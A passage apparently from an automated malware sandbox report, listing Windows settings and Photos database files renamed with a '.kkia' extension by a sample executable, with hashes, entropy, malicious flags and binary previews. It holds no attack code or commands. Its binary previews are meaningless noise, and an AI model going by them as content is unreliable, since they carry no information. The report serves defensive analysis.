Preview:	regf..._fE..J9udm.\.{...,.m.#.......2YJ.c..RG.\|(. .......A.r}.G@p.....p..+.......a.N...B......!..`.."...A._.X....)./mA.$)h.......u(t....n....7....C.q#h.E.,.px.+Z.9.....{...p(....a.v..!.kP.K[.r..9!?...c7.u.......=)_.............I.MQH+.,...+.._......cL.S.kp...RI_..\...)......N1kt/..?(....`.9..<.u4.s.._s..J.h.w....ru.......8...o...x....DP..(."r..l..%"g4_.`>r1..l...moK.nf.s.w!.{.....o..+.......br..m..M^..5..,....a.(.r^.2{B.....<.Z....G:[=zV0....]N..o.([..H..hD.l.&.....^Z .~-...@.^..h..K....Z..q.V6..$'...m:..C....Y.. A.?i4Zq....&.....#.Y..0..o....,.-]...)(.............._...rOw.#/"...E...a.J....<.z.X'....1...N.v+t....R.{...9f...k....3).0:X1......b%.^..oc.s..b.F.$.zK[..@p ....9.(..]93u...\Io.Wd+...p!dr....Xn.N.@~.}......Eo.=U...).F.k.Nw..RQ.0.9.....#.I.........T.j-`..4.'.&J..g..!U2..A0z0.".c....x%.j3l.9.?.H..8.<..:_"G..Ecn>...S.\|u.P..G...n.L.+...@.7.X..'..2EF...3.&.\|k.......P?...f...J.P..6=D.....ONu\'A.=...p..w.B..C.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979943736315733
Encrypted:	false
SSDEEP:	192:UsM2kgCKtPlqDKXDMaflt27siVEQ2Rmt/Tohp:NXC7fx7jx2Rmt/2p
MD5:	6EAA32D0195E9FB31F9EC5DB193CF177
SHA1:	3D92E714ACBDD41A69566037DAACF9B595367645
SHA-256:	9E64618353063FFFABACD0FFEA051C17C9AF6953CDD508F48BA70EE26C67F692
SHA-512:	0BF806D38B2DE1C9BC4D7DC6539D915469ABF125F725F6F112CA59C00AE38B1BD9F195C6D9D70CFD789AE8A0BB9437C363388D661A3B0DCF4FA90A974CF86CCC
Malicious:	false
Preview:	regf..F...f.\..;C_..r....s..`..W...r.=7<...".....p.....\.....6.."..N.dC..8.t.._Zl..iww...Ro./._.pt<.N"./..f.].dgk...C......{...'...&1..=.}..V7.e...%.^+4zE...8y..7.. ]..BX......,.....22.]K.X2........##\|Z.h....<......#.@.L....O..........p..(a...e.6S.%..}f(...._k.{.Fj.+..EN.:.$.=...x....w.B !+a...Ze..G..&...$.,/P.Q..qZ......E5}.2..F..5.UT..xK31......N.EF.zG.N..^..@.~,...\.Y....$.t;>E#.....u..e&..D.......!S.\.....:.2.H\|.1+......{7p....bve..l..A~VC.}.>....F_...2.d.q..aR...P.^..VD..........&...S..A.....Lm,..si}, eh.:bq.....t.U.m...^$6.nI.nrp=.UIJ.'.t.....sv.s?......(......5.B...5#.Xmr,S.U..~...AZ.qn.`.K.-z...].....#pd..>:a..........$.gYS.H...>Y....]...Y.lk.(..2Dj.{..gxA3..30...F.Iw.......:O..Y....[u..j..}9.I"........:..x....;L.Jn......!.A.9or.b..#./....z.D.^n.....:.P.WC.E.:...6v...."V...R.....)..8...RI9......0...#.;E.(.s..%..C'T..<P.C>u.N...g.....(N.I Gb.9..v.S.@..:...u@...S.=A.....s.. B+...\|......^..u....-........{=4...}.c..t..zX'~.EE

C:\Users\user\Local Settings\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980196174595388
Encrypted:	false
SSDEEP:	192:Q0LGXkSn3kzcdQa5++ZVBn0oZnm+cvOEv/aSP4d+GE7XJRCw:Qj38cdQo9rc+cRv/aQXrf
MD5:	8E726D4EDB63D8A0AAB2D7A6EEA8A956
SHA1:	F453EA52115FE7EEE4E4CBF03669C6D6BB56CF46
SHA-256:	78D190CAD41847B4C7E4238B5C75DFB59CB54DC88E5348D30805E6B5397DDCBB
SHA-512:	23AE57E99C24DF1E6B454CC76381BDCE93BAB38BD208114933345B312A84628F75E40EC3DD68C91484F29B7DBAE1C07B7BB168512A23EC35E7BAE15AF3C75ECE
Malicious:	false
Preview:	regf...~I^..]}..SN=.cA.uJPH..."Mj.I...(W..$....a..q.Y.z...Au)..7..Q..i..G..B,.+G..s...L.lS.Si.?........8u0J....FS.;.Y...j-...;K......(..7.v.u......o.J.Gm+n<..{=.).D'3.I.>...M..@%-..6.IE.=;@..i...N.....V.2.....c..f.3m..Q.../K9.]..C.I........%..%Bi.p........uT.C..LT...#~'(..v`>.36.u)..........kiUI.#5`gAO......<..(..#L7<...n}.......n.......mt.a...........b...bV........'.u{I..`s[V.Q..\|.s.....d......C..R.'1c..w.Wz.z:z.YA.U.vqy..S..Y......6...D..a.....f....>.....jmIC.E...\|.m...V.....H..@.....%b..q}..[..".I.....D....^g...=..>x.....:.l....=.W.........c..B.....j..v.8.i..7.]..;..h..2ZS.S..7.k.1.Dx"..S[.R=c.w..@.w..:7q..........;'..T.I?@i.J .<.b..c...GM.9...5Qq.&...M.........`.~.te.^....DE....2.q...d..0.n......6.6o....L2.....;'7H..0pK..Y&..V...].P.=.m0?,.........#..]..Bw..5...t..w.m......Ow........h. ..pH...b.Y..(...t..^.^.[F.<o..tk..]......%E..K.I..X)!(.a.(=..Y.'...}x...k...B.{..).4K...../~.?.8.G....Z\|.6q.4{ ....'....\.mc/4k.2U..a-..&.p

C:\Users\user\Local Settings\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9752514610913865
Encrypted:	false
SSDEEP:	192:jslX7Y1VHztwVQ1Bo+V0BXfwtS2GPIs2VZl3bUxVd4:jEEhzWOPo+VCKvGPN2VZW3G
MD5:	D195D2E159B9C7B7852B1592CBCD6AAB
SHA1:	03F6B586B11A168322B2A73BA88550217CC66810
SHA-256:	E3B303E405787A481B13BC9C2553A3320F74B9E41A7A68AE76914C5C2FDB3AA5
SHA-512:	B411FAE74DDF91AB16D2B187532DF931297E210642DBE45F531AB62AB0995A4968682B256542692C4D5A212468F3106B0DEFD32D77138CB5426E8C7F67026C93
Malicious:	false
Preview:	regf.#r7._.....v.!....l.<..n.4W.U..b..hP..Y....L.e....Rv.lV2r30~..2.W.4...#Xw8.!...v......Z.{C.j0d. .o6....A...e...C..J..:.?.S6={{....i..W&p.K.c...M.......b.2.\=.Y..,....L........t1..u'...I..aB]j..<.........._.h..a.`.WPX.i..,am.%..k._XO.L..[..z.....N......\|m...).#.'..._.....[w~!0aU.Y......A.a..N8w9Z.b....r..D..p.S..5.PO.a...A`=.......CHGK1)n\k........C.J/...,.\...]........e.J..A..6#....b.7k.(..=......~98I.S..!L...5.....?.!.,.7'^wm........0......._..Y4...CP.m....6...7:..u.}..........-./O.!....X.K.~..Z...!.2.&...b..)q...UKw@.k......!k.Av`......6..T....gc;8k.>b7..f.`..<.t.xz....Y.ac.\|7?. ..p..8?Q?....0....u2......UM.........8(...wv..z4..xZ%......p.s.9.u.?...#.9V.-'5Y..q....C.....#5Z.......OQ.C....Bv.l.u%.....\|2.tzu..IL.#...^.....Y..A.X..V...S....D..GM.aN4.nX.H....p..BA.oH..d..4!U..&..[a)U.....2.vT......y.!^.^..Y...D...f...*...bS..... ...Ig.Y.O...:...;%.=cf...w.:.....<.8a...kK$....]3.e.(.bW=..\3\|.h...vw9.zg6.KIB..C.OZ&.h...........s....'3..

C:\Users\user\Local Settings\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	74062
Entropy (8bit):	7.997187843289514
Encrypted:	true
SSDEEP:	1536:PH+jteg5Jq7sybMvs9jnIQ/2gXwT4/QMmm1FcStCns9LdHVOROL:POtbssWMWj12pcIMR1FcS0nALdHVOROL
MD5:	B70CE6B0C25CB717536B7CC69FB423C7
SHA1:	B3FDCE280ED261E03078260A74835F7B8A7CCA04
SHA-256:	BD32B3097BE966F9F0137629E8FCE3DB4E1471784FFD9DD5B6F3D179794A1B78
SHA-512:	1455293BCDFFF8489248ED449CB0D92CD661991C5EE3645AB381260E07EB54580607C52F56F9CEB711FC4AE674B7095F39541405F3A061D34B3925074FC8D6DF
Malicious:	true
Preview:	regf...i.I9oh.A..RQ.dD.u.0...HP.].w#t....@...h.....&..{..mShB.y..b.Gl...fC.0..&.......;4.>.+m-4.z.4v...'..^.........5..........1.i.`m.2y`m...?$.q.........!..h..V.../...s......,y.zj......PC...7B.......ex.X...QY....z.Q6S..#..Pb.%.G6wy..y......lQd............Z.:..B..-h.s-b.@._.m...j...1.HS....7Nlb.....:p..qC.A.Y)....}.....).......Bv..X...@.7y...'.....cqi....'..._z.K-.!.........1.vpM.. .....4.F.X..P.NM.l.xI"0g..u3..F..uA.a..}..B..EW.m.(...%..X...->\|3w8.f..;.\..3..Co.\|J.>..:...8_.+`..f.v=f..U......i..&y..Z....^....UBD...tG[.9..%.-.S........k...5..p...O...U..v.d.C..#.s....M..S........X.qml$.4..x/....f......n....zW.5....$.@.@.e.P...5....,Q.#.b..........}.b.#0....p....g........y;.MN........h.....m......<..kO...4.B..K...80aNf. I..0=]...{..Sbp.....]4+.....2....0(.E.tu6z5.._....>....].....B...x..}\|..`..Cu.:.Q.l.w..V5......5..<.h.PJ.......~.wTK..@-a.=.;.#.<@..:.\|...2..1.....mh.".9&...g.'..2...Y.^...l...g(w.N.F.,0..R.Sl.o.......#...F.h^.f...$...$d.....d

C:\Users\user\Local Settings\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.648624674027283
Encrypted:	false
SSDEEP:	3072:Go8zjDyzWLoykHplY1ssdqmeVbqkIJ88+Xf4Ad1sZnT5g2u9bLjlnqz:GZXGzWBkJlY1sscRcg1AJsblnqz
MD5:	1E6C385091E8A11AB2B7E80C63B92BC2
SHA1:	99973677AC54CC6EF008853E6605A9E8DA0B86A8
SHA-256:	74E631789681570079E79CF789AF07EC21413465E21465D82DCC645432AF8005
SHA-512:	D41608734A6F3D435186405A0D9B9A120563F302153C7E66083BAD0B15F86CC80C79A9B6649CB7BC1261BB5E69B4E458C6AD79EE39915982364B26A46C3973B8
Malicious:	false
Preview:	regf..A3...n..v...4.,......8..@.Y..B.hp...a}.l&....).+.]......_.."..G(0!.Af....Hw.....R.,..v.&..P<..n2oh..e..d ....1..:..%..c...@..f.......-....,v.....Q.%...V1.^.o....Y.oH.....M.pF .~Q.<....P2h..W.SN...QF..U..F.........0.C6.....#.....;..H..D[...k..Evo..$.......=..T.....L..:....L....N}...z.h8vc._...$0g<...5.U....w.:.fm.T..m..z++.dyy.C#.E@q~.(..W....Q...............hi...`U...PhW...7.9OO.x.}..D."..a.if..Z.l.x}fmE.iO...kQm..nu.6.=\|.....9. .z.#p.T.z.3..Y&.B...N..-.7.>I.v...9cV...j../Z.Qz.)....l.H..E...b..g.Z(.....2<.w...W'.......;.i@.........A8...I...R...<...c.c.f..n.p..1/.k;...{.&.SU.........R.....6.$m..I..^t.S2h.q8...I..Em'..+.K..O....a.G.'.....?"0....k....%.6j./6.>..g@a_...eL...8..(.x.>)=l.C.l.(#..\|.3d@.........gS..U.....x..UGCa3.0...%1x....i.%..V.)7@....]!X!..M.<......oh.L.4.@.MQ.;.Xx.a.....R...0.'o~6.r.4.t...A;M....X.6.'......4...&...h8.Y..Lh..<Mb...*.hp...iE.V(1.6..$..Xz>..).S.H%.(. .......WX.g..[...K.z.g..W.`",.,.e..]...S...$...V8....

C:\Users\user\Local Settings\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977212043523138
Encrypted:	false
SSDEEP:	192:KTVbxg8qkjf7Mc/kVn9U664Bq81QaKY7BKumknjIq1mumBsl:KT5xg8qkjf7nkPU66GWvunjIq1Usl
MD5:	7BDA829B3AF2AF4DB15134D5C501291E
SHA1:	60419524FD9201FA60370FA727ACA0AB6A8132F2
SHA-256:	0DB1972E0D72F0B4444DAF32FFAD3D74AD8A663F4F7AC221E77F2EFE700B2AA3
SHA-512:	C4A6DB8965C0B6DD7A7A54AD3EE7C7005C629F5E879356949C0A8D33ADF9614E91EF36343C034EE67549727ACD318B08E65E4F3AD2AEB3E177586EB6FC07AF16
Malicious:	false
Preview:	regf...w.......A..u?.......0k....'....dD.M'=%l..p.T....F..~.!...XtTz._C\|...I8.. AY.......i....Z.@.3....Z/.2..0.L'..;...G}v....... .....9..1o..U%!...ez....WU...........6...!X......x.......u...9k...d{.Km?PS.........9.jO..V3...ql."...e.a....z..uY..%.K..-._..u......MC4.:\|=.".$.=.S0C...D.\_P.zi-.......8..EG...../..ujn.+...cAR...Z.e..k\|...^.%.B...s.8..T.k.P.".q@.%.0iv-U...(>.....eW.1..p....Y.F$G<Q...A.....T.e...HG.f.4.l.C.+..O.Vp....I.(>...H.TF.~.....y......K.....j..;...5.E...(...,P..I..Po.c..P...R.P.....Shz.....Z..>..mZ6pW._.Y\|.x....<g......bw.&Lzq...]....l..\|..Y......m6.vZ...;....W%.l.$...I..b...T......~..I.g......';.}...U............5n...C.Z.B...?O." ..K..28pG......o....m:.../..%n[.8.w.i..y..9j4G.....2..A.I.V.."c..0...W,g./...MeP..fO.t.5...I....Lt,.Z.v..gv.')O...kJ.}.,kn..hE.xS.....k....5../ .q\.....3 .....WT.=`.....F.Q....]_.).[<....9..J..k(.zR.r@&.`I"....{R.2.1'..4..q..7......]..9{.A`..o{.2.....f...\|@...+.k.......~O..j....5KI..z..

C:\Users\user\Local Settings\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97686753391602
Encrypted:	false
SSDEEP:	192:FKV+Ti6HAj2bdxAutAoqGQKHo8spWz5figrRLQgJ8ZVHjXr6jxCKF4i:I+Ti6W2XAu6R1vppW9rRLNkVjra3
MD5:	CCB03AC8F3B5FFD0F2EDE5AF18C7F976
SHA1:	1FBFB211B387339AB55CE6CC5B4DE5F05957D544
SHA-256:	A48890352A431BC9A49756FD2C39B4F6903442AC51087532AD011C20237809D0
SHA-512:	CFEB6922D7942FB020FF82B605EE146E096BF274DE9BFF49A3BDF29CC8AB3F1247C3DA5A4CC8686A1342250589E8883119D312841505DDDDA539B94DE2018766
Malicious:	false
Preview:	regf.cg0....a...#..co.WWD.........v.....r.-4.....!<.g3...)..H....]..z......g.N.......'{.....Nx.{....rC...3....K.wCp.I..Mi.v..\|....'.`.$.Y~.z.v&2.=..^.i........Y....a.].R?...y.z.lR;.V..ox...v.`...<x#(?....R.5Y.%..s..`4..v..&..`..$E=.L...^.!..{d....RC...W.)h-..B...3.yi.1E;.......1g.\.P,.vk+.F..H!..]5[m`xO...B'........@).er..s..Ej....i. SH...G..._.......SLY.e......yo..03...............K.&x-..o...}.Qy.r.&.a.B.0......._X...S....m..1..x.ut.5.V@..mi.0....l...#.a{@..X.....3v..vUY[...l..m.`..]..So.Y:..Pl.<..4.P..B>.O..X...k..,s....q(...A.......U.._......y/.[..$nPj.....8.@.p.Y..f.t...Q..)...{0.._. ma:.%E.5..<r.s..l.+...........{......I.....T0.:.(.>Af\|w...l...7y.u..g"T.M....}.7.c......_.W.^.<.v.CP.h.k..I.`(..=.7.dk..E.WfN....o.....hj......s..w.4.9....?.%.L8...Cf......Dmo..J.,._.D\H2......5;Pk#s.8.......[...6.....%O....t..L.X..!..:R5..m.-....b(.U".MJ.z][OD..t.....[r..^...T..V.....>.A..0..;2Wpp.E5-.7./...o.".\.......UW...z..(.0.G.?u,).T..I....y#.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975501458322786
Encrypted:	false
SSDEEP:	192:UReOLW+qxEhTTSW8I8eVO7H0s+rNPOTNvjfGx5rBt:M/phTTbXO78PgNc
MD5:	7E2A6A5E8809FE4C39E64ACC3EE11777
SHA1:	2AC36703CB6C59EB63CCCF84B3FB616001309E05
SHA-256:	F38265E65727B53A067F4FAD309833A5056FCD1B476608AC7CCAF22AA6616071
SHA-512:	AE839115DA57D3552F969229EB7EEDBA4F227D821AEB75F8E410D046837B9CCE6CB62FCBDD1A08BDE11A6A07E7734B681C280E6B1AC93DC1A0F13C4D17DA5A7C
Malicious:	false
Preview:	regf.jd.PZtTZ.O.]W...P...*.Qx....f..H..Y.%.!.6.........2......il-D..T.F^.HZ.._[Yf2.[O8.70........Ni]GJ.....L...l......T.J....>..it!..T...0...jm..:...N..d,7.....re...a..Z..,=46.........s).k..cn.1....M..8..";.....H-...^.F'.....MUt...]K....x.J..7:..~...a..uf.3..lq....>.[l..}).:a........i.IE......ZJ.K...i^.M.u..i..o..]2._w.""...[......&.\o.g;.S.E6..y.k.m..4.B..4..w...{.......;..@tT._.`9UV..n.e..?..$.pypt.e......V]/^.s..5..8..Z1OHu."]...[6/....k.a..[.......?.R..d5.0.Uj6......L....C.k..[.R...\|Kg..q.g.<........A<...V....0...,)n.....f..8...7_.#..l$.......d.....U.2...c..)..M........'...v.....a.K....J..V.T}...L.......S.,..+.....L..C...?4....%.iQ....9..3..)[.3..:........%a.I...Q.....}.......}D..T.Y[.U...(...!..t.... .;..y...=.x;3.[o6....:...&..y.......l..@..C..9....1..e.8..R......9.!....P...u1..fj.w.9..&.6.RT'.....c...k.%W&l0.........].4..........!......V.....2.T...(M.-.....\..........K JLq....=7.1..%...H...u....R..a.>[g.%.51.....L.~pgh.V.d.....Q..e.....

C:\Users\user\Local Settings\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975442027790847
Encrypted:	false
SSDEEP:	192:dUm1B+RSCouRSt3Imq45pDEgehyAD0+jfdIDXxnrtvHevY3PAT:d58tRsIZkpDEgehyAD0mdwJHewfAT
MD5:	952C49A72DC470FA17292752A1274944
SHA1:	940626974C45F31561842863B3212513337F4E61
SHA-256:	8896D6D383BF48D3DD2CC53B299D6BCB04FF921A34844C3A963E8D4ECAC5ED2D
SHA-512:	D181D0A133B84AF7D7D67B31D93FD4CFC68371E8CF15ECB9C3731DD048E4334616C8AC09128691DD7F3EBBDD2F549C536B23F9CA6317A3AC6B8FDE98CBF67B18
Malicious:	false
Preview:	regf.$..............i...cX`..F.6.M..M^.\..f...hk.xHM...=#.2k.....w....T..>.2.q..$ .\+D.e...XG....1.%...bP.(6...F..../..D.:.GA3.(_+..X.".Z....qE[..A....0..l<Jr...\...4.#..8.....]D...4.kv..qQ\#?.}..Xt$.f.......b..c7.b..;o..,W-.._A.-b,...h...e..........F.4f\4.o.]ph.p.c.P.kg.9.}...J....w...C... .i..JY_.)...`.vw..s...=_.^.>F...+Qo...Pc....0U.B...[..M...e.... ....]!...>....X-...._.. c.....L...L".+.S...+c.(...@R)Y....O..W\[-B...E...>..^D.2.m~.~k.xBT......Uh.e.].Y....R..)L]..m...)...#..C....~.\|.C....p.....S........6yh..._;........OIu.S.e....G].7"yT..........{..Mg!A...jI;...l..@..s.....Z..~.f.j..AxH6c....w.>..%......+E.;..8.".-!.y.."S...dKM..`6q>.,..1..A._...3,...p..3.....H@.s...:.d...B.G....._.R......N.tF..".!W../.m...h.apY.e..}...{.......)......hq..RF.>.[>u.z.%0.[..L.D/...w........G....Ylr......A.Y....p...m!....Nl.8......K........RD ...v...$H.._....)..._.\pv:Uw.(B..}......`.R...1...g%.M..^..O...7.(.._...d.>>V.F.D..8,..1....!...D...

C:\Users\user\Local Settings\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97594430137561
Encrypted:	false
SSDEEP:	192:wVipP6rK36yFudTd3M7ik8id0bs2gUTbqKyksjYY:wViJkK39iTqG4KbsJ2bqKykscY
MD5:	DAD73C0C24B2D677DADED98A3F398F7D
SHA1:	F4C8533202F9A1C04CEA89D2889AA165A660EE72
SHA-256:	3A08BD3365FABBB4C52D0F75E0635800D7A99E9AD921A6940097B381304A5424
SHA-512:	9673BBD1803B4BDBB660CD0D3BC6113B50557E4EDE9EA0CFFE4E8EE933C5486F92B4C78134873D5795372161577A24DFE9CCB97C0B53E47B4A0F7343042745CF
Malicious:	false
Preview:	regf....\.oqOc.{..g&S....o.....i..bv....$% .'tJ1.....\|...].......9".o.6.\|..M.\.c....I..gY.R..Nt%..@...^..TOw....d-j~..X...Y..(..A..e$O'.T..K.VG..m.....y...3..K.;n...m._...+.._.....O...y..3...]qkh.fe...p.m.* TM........a_^l...Df.T.........d..R.d..~.4z....m..N.+.a...v\|.$..4 ...P.....m.+.g...y.+........#...0.Jw.....f..\0>.?.Jei..J.q,'.. 2...B.ag.Cu>.6?.&.K....Y.g.!(..J...".J... m..T.+..1..\..y.K....SM..F/....o.v.I(V\|..;=:....~..L....Q.v.n......2"..#<.....!.*<#U6.}...L.V..n.K&. .u.....A... ...eO +...yB5........m...Ay..y.N.C.....U.5.c.......P.`o.q....]@+`g.....AH.I.fG.?.F....r..<d.I.{-g....1....(.F....DA.A>.Yhs.........oo.v...-gyx..^Cv.N?.$4.i...k...........:.R.[.o.....q:...$c5%..n.....4>C8@.#.......G..,..............(h....`..l...'4..t...l..x..`._.?.].,..:.4..O....;.2..00P.!}...{.......h...c5...5....?.d.`...m;.~\|m..`.....nO...".>....,..<.....%.$.s.x\.y.o.P....K....Dk...%..V.....g..P.a.LmR...ij....K+.v.B2:._=...=M .t.......)..4..:

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994044222574877
Encrypted:	true
SSDEEP:	768:ugusHN4oWognCaVf7ElreGPAUMdH7GEHqghS9TdKYW8:uNoXaVfIretUCH7G0VwIYW8
MD5:	F4A3C162EC9A17B253775799BBCE684C
SHA1:	CF02B363580220C79217445E5D11E254D0BF352C
SHA-256:	757FB71557C939662303D4611F8CA1BD4090BE6FC76A777740331A3C348A0133
SHA-512:	90EA423036C842244AF2EA9157741F6B7D224B7C924B7E3AA8203B182868A00DD43DB8D67BFB0A9017A3193F963285890EE20FC014159E897E5EE27871F7E6FD
Malicious:	true
Preview:	..-..O.!._.......v....Ce..y.....+c#..$}.$..(..Uu.#..u-.c/..y.D.U.Mv.......8....[.nYRi.....Yf.<a.h..1.NL.K...'f.pi..^.'.....B.{TR../..:..(....sT...'.3g..m.xN.....u.pQ....u&......g.7....K.:....rc.V.@...F......a...].o...cG.P.....3...Z ......M.. _.....w....;....Y.[..e.b....bH"....7l.._g.g.U@.h....x._....^.......2......v}7C........>!.....2$.4.GPc..\.s...`.._. :....o......\|!\.VTm...]..5..G..8..z..* .?v...%..(.:R3@.(.WF.&"...j..X.\|......JM..\|.u._.#.I.C_.....>G._.H`'5.JuqmL....+2 .........w".7.P.....j.]...b..G..... 4....<.@.h.z...@.......Y_..0.9W..G^.n.....E...X9....g$.&Qw-P^.Q.^.}N.DF...c.....).C....a...N..+v..14...(.l..)OI..c..n)....T..?.x..$....(..U-.........^P....u.,...Fi..l. .RU..._w....z2..>..UP`.........2.b.7.nA.?.{.&@".N...o......s...Y%h......5..g._....c.k;..t......B.X>.L.La_.Z../P.\..v.o.X...C.[,....x]..7.........`..t.}m..%Nd..v.0.xBw...#.4.`..k.a..=.mfX...n94..t...s{......+&r.mf.t..".^.W`B.N.E....7pw.@.9.Wz.F..j.G..j<...ct.X

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-wal.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	SQLite Write-Ahead Log, version 8528385
Category:	dropped
Size (bytes):	1339366
Entropy (8bit):	1.9865313479450695
Encrypted:	false
SSDEEP:	3072:z2lUnhXTWviNfjJtDiV/6FFk7Tu4VjyRZCJa6VmCanqbz1YFcwOuaZfYolR9FEe4:UUEKbfekFS7C4VOmHcCaqbxY+Ju8q
MD5:	8CB2A24A6B2FB36A5987AB830B2DD647
SHA1:	AE4EF636C4A9E48B55897812A4E58AD26B5DC1A4
SHA-256:	B6818BDC2D1808D91A0703742955525D276C9D448C56261B7B7952C15FA62999
SHA-512:	20430BF83F8F6010D8C71058BACEBB630B7B62F5F7D705D2CCA5FA93B50657A7FE5FB3FEE980363E0327B65BD4CB620AB5D064931FABF95A4E0F9852EEA41EF1
Malicious:	false
Preview:	7....."....Q..,.!.bB...C..+.-j..A. EPNb..!whw....%...~.@Xt...a...D.......#2+.i....aPh.y.?...L~..h..V.F.iY..d......S.R.......v.....7.@.:......?..;....-.f...YoM9!..i.".)m..-y...].Yd@.[..-w.{o..&.x...4..7.a^}...`s....).,...l.(..J.&.G....W.0....(...l......?.}.T..D,zc.P.V4......~t.......o..x.O.....g ...l,..j.X..:..ngL.[.9.o.WU.s.N....S.....a..uO.UuK8P..>t.:...;.%d...../......,1..7.I4..&..u.;..i..Z..$..&.r.[.h......Nn.....X>.W...n.b...Y....K.....O....C.%...+l..I6.....l..<W...hL...+..m.#..f./...z....S.n.Z>..I...q.x.~....r?]O!......\..1....&z.BZ.c.f}\|-d.p7...O.N.^U....TCw.tl....Ws..%..s..1.Wd)......<......:....r....o.\|....O.s..k..YO...$d.rSr.vt)..s..Q....q.!".N..D.'....q...Nn>...%.......:..&.7......e..8.D.bq(......{.......i..6.%.'....6....3......V...v.X.y~!...s......6..q.......lS....-....%[..w.rl....?..#..y.,..{..VXo.+.....f..F.z.C..4r..?.(.6..wI.7......X..]...X.3.5f.k....{.~).9p....%..Y`.R..\|..@.2=.Q.a.'..~.3..!b Kch.....#..[..h.]..k...4

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.957681895827222
Encrypted:	false
SSDEEP:	96:YxSLDYt7FZW8Xm9EY11VK3XMOKnKrWRBfqRB7jY:j/Yt7W8O11s38MrWDyR1M
MD5:	36DC4EDE57A300C47776D747692EFD36
SHA1:	D2A0CEC98EF5AA9966E51787B55B00CC384F612D
SHA-256:	46395BB44BEF4A39B6E18BD45E451021C16CC612E6A2E477C2B59E746240EF93
SHA-512:	5A39783C403F20560DF1DD4B194A722B08B5BEBC4D954CCADFC1B1153A349364C663AD6B1D73B86493E933C07F797205A1C2154435F6922820D39DB29414F155
Malicious:	false
